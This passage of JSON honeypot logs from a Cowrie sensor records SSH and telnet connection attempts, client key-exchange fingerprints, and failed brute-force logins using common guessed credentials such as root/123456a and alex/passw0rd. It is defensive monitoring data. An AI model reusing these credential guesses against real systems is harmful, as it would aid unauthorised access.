56-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:14.558088Z","src_ip":"159.203.92.129","session":"69bb83d05af8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"passw0rd","message":"login attempt [alex/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:14.569250Z","src_ip":"159.203.92.129","session":"69bb83d05af8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:15.576520Z","src_ip":"159.203.92.129","session":"69bb83d05af8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":60162,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a2778d54528","protocol":"ssh","message":"New connection: 112.217.199.222:60162 (10.17.0.5:22) [session: 8a2778d54528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:17.754672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:17.759680Z","src_ip":"112.217.199.222","session":"8a2778d54528","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:17.968515Z","src_ip":"112.217.199.222","session":"8a2778d54528","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a","message":"login attempt [root/123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:18.826221Z","src_ip":"112.217.199.222","session":"8a2778d54528","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.31165409088135,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:19.833818Z","src_ip":"144.79.218.12","session":"9e65332a283b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:20.035758Z","src_ip":"112.217.199.222","session":"8a2778d54528","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":54170,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba14b4fd052","protocol":"ssh","message":"New connection: 152.32.213.101:54170 (159.203.135.109:22) [session: 5ba14b4fd052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:24.190329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:24.204986Z","src_ip":"152.32.213.101","session":"5ba14b4fd052","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:24.415415Z","src_ip":"152.32.213.101","session":"5ba14b4fd052","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server12","message":"login attempt [root/Server12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:25.275477Z","src_ip":"152.32.213.101","session":"5ba14b4fd052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:26.496380Z","src_ip":"152.32.213.101","session":"5ba14b4fd052","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.52648115158081,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:27.280208Z","src_ip":"144.79.218.12","session":"4b50f09cb6a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":49071,"dst_ip":"10.17.0.5","dst_port":23,"session":"7012dbe62705","protocol":"telnet","message":"New connection: 49.88.156.34:49071 (10.17.0.5:23) [session: 7012dbe62705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:44.872874Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53168,"dst_ip":"159.203.135.109","dst_port":22,"session":"f684b6577da3","protocol":"ssh","message":"New connection: 159.203.92.129:53168 (159.203.135.109:22) [session: f684b6577da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:57.099054Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:57.103532Z","src_ip":"159.203.92.129","session":"f684b6577da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:57.107721Z","src_ip":"159.203.92.129","session":"f684b6577da3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"password","message":"login attempt [alex/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:57.122140Z","src_ip":"159.203.92.129","session":"f684b6577da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:44:58.153012Z","src_ip":"159.203.92.129","session":"f684b6577da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":49520,"dst_ip":"10.17.0.5","dst_port":22,"session":"abf1d64c1804","protocol":"ssh","message":"New connection: 112.217.199.222:49520 (10.17.0.5:22) [session: abf1d64c1804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:19.106624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:19.112055Z","src_ip":"112.217.199.222","session":"abf1d64c1804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:19.314968Z","src_ip":"112.217.199.222","session":"abf1d64c1804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"Passw0rd","message":"login attempt [deployer/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:20.148768Z","src_ip":"112.217.199.222","session":"abf1d64c1804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:21.352523Z","src_ip":"112.217.199.222","session":"abf1d64c1804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":16996,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed7f3c703885","protocol":"ssh","message":"New connection: 152.32.213.101:16996 (159.203.135.109:22) [session: ed7f3c703885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:23.396138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:23.401184Z","src_ip":"152.32.213.101","session":"ed7f3c703885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:23.620977Z","src_ip":"152.32.213.101","session":"ed7f3c703885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWER#1234","message":"login attempt [root/QWER#1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:24.530195Z","src_ip":"152.32.213.101","session":"ed7f3c703885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:25.753363Z","src_ip":"152.32.213.101","session":"ed7f3c703885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50402,"dst_ip":"159.203.135.109","dst_port":22,"session":"993e22812008","protocol":"ssh","message":"New connection: 159.203.92.129:50402 (159.203.135.109:22) [session: 993e22812008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:37.927867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:37.933237Z","src_ip":"159.203.92.129","session":"993e22812008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:37.959684Z","src_ip":"159.203.92.129","session":"993e22812008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"rooter","message":"login attempt [alex/rooter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:38.050065Z","src_ip":"159.203.92.129","session":"993e22812008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:39.057020Z","src_ip":"159.203.92.129","session":"993e22812008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58738,"dst_ip":"10.17.0.5","dst_port":23,"session":"714d6edebfb6","protocol":"telnet","message":"New connection: 144.79.218.12:58738 (10.17.0.5:23) [session: 714d6edebfb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:45:58.647023Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.68.180.70","src_port":35571,"dst_ip":"159.203.135.109","dst_port":23,"session":"a93064f05854","protocol":"telnet","message":"New connection: 38.68.180.70:35571 (159.203.135.109:23) [session: a93064f05854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:04.972550Z"}
{"eventid":"cowrie.session.closed","duration":82.28178381919861,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:07.154524Z","src_ip":"49.88.156.34","session":"7012dbe62705","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.741006135940552,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:17.713460Z","src_ip":"38.68.180.70","session":"a93064f05854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36376,"dst_ip":"159.203.135.109","dst_port":22,"session":"5692a59c7a38","protocol":"ssh","message":"New connection: 159.203.92.129:36376 (159.203.135.109:22) [session: 5692a59c7a38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:18.725894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:46:18.730394Z","src_ip":"159.203.92.129","session":"5692a59c7a38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.